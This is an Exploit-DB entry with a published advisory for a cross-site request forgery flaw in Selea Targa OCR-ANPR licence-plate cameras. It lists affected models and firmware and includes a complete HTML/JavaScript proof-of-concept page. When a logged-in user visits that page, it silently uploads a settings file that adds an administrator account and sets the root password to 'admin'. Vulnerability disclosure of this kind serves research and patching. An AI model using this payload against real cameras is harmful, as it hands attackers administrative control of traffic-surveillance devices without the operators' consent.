Exploit-DB #49458
Description: Selea Targa IP OCR-ANPR Camera - CSRF Add Admin
Type: webapps
Platform: hardware
Date: 2021-01-22
Author: LiquidWorm

Exploit:
# Exploit Title: Selea Targa IP OCR-ANPR Camera - CSRF Add Admin
# Date: 07.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

Selea Targa IP OCR-ANPR Camera CSRF Add Admin Exploit


Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: Model: iZero
                         Targa 512
                         Targa 504
                         Targa Semplice
                         Targa 704 TKM
                         Targa 805
                         Targa 710 INOX
                         Targa 750
                         Targa 704 ILB
                  Firmware: BLD[PII_REDACTED]14
                            BLD[PII_REDACTED]45
                            BLD[PII_REDACTED]01
                            BLD[PII_REDACTED]14
                            BLD[PII_REDACTED]45
                            BLD[PII_REDACTED]5
                            BLD[PII_REDACTED]0
                            BLD[PII_REDACTED]0
                  CPS: 4.013(201105)
                       3.100(200225)
                       3.005(191206)
                       3.005(191112)

Summary: IP camera with optical character recognition (OCR) software for automatic
number plate recognition (ANPR) also equipped with ADR system that enables it to read
the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
this camera suitable for all installation conditions. Its built-in OCR software works
as an automatic and independent system without the need of a computer, thus giving
autonomy to the device even in the event of an interruption in the connection between
the camera and the operations centre.

Desc: The application interface allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges if a logged-in user visits a malicious
web site.

Tested on: GNU/Linux 3.10.53 (armv7l)
           PHP/5.6.22
           selea_httpd
           HttpServer/0.1
           SeleaCPSHttpServer/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5618
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5618.php


07.11.2020

--


Add Admin:
----------

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/192.168.1.17\/save_params.php", true);
        xhr.setRequestHeader("Accept", "*\/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=cfgboundary----------------------[PII_REDACTED]133");
        xhr.withCredentials = true;
        var body = "--cfgboundary----------------------[PII_REDACTED]133\r\n" + 
          "Content-Disposition: form-data; name=\"set_params\"\r\n" + 
          "\r\n" + 
          "upload\r\n" + 
          "--cfgboundary----------------------[PII_REDACTED]133\r\n" + 
          "Content-Disposition: form-data; name=\"user_file\"; filename=\"set_params.dat\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "[SECURITY.USERS]\r\n" + 
          "security-users-0-username = testingus\r\n" + 
          "security-users-0-[CREDENTIAL_REDACTED]\r\n" + 
          "security-users-0-rights = 2\r\n" + 
          "security-users-1-username = \r\n" + 
          "security-users-1-password = \r\n" + 
          "security-users-1-rights = 0\r\n" + 
          "security-users-2-username = \r\n" + 
          "security-users-2-password = \r\n" + 
          "security-users-2-rights = 0\r\n" + 
          "security-users-3-username = \r\n" + 
          "security-users-3-password = \r\n" + 
          "security-users-3-rights = 0\r\n" + 
          "security-allow_viewers_storage_access = 1\r\n" + 
          "CFG_ROOTPASS = admin\r\n" + 
          "\r\n" + 
          "--cfgboundary----------------------[PII_REDACTED]133--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Add Admin" onclick="submitRequest();" />
    </form>
  </body>
</html>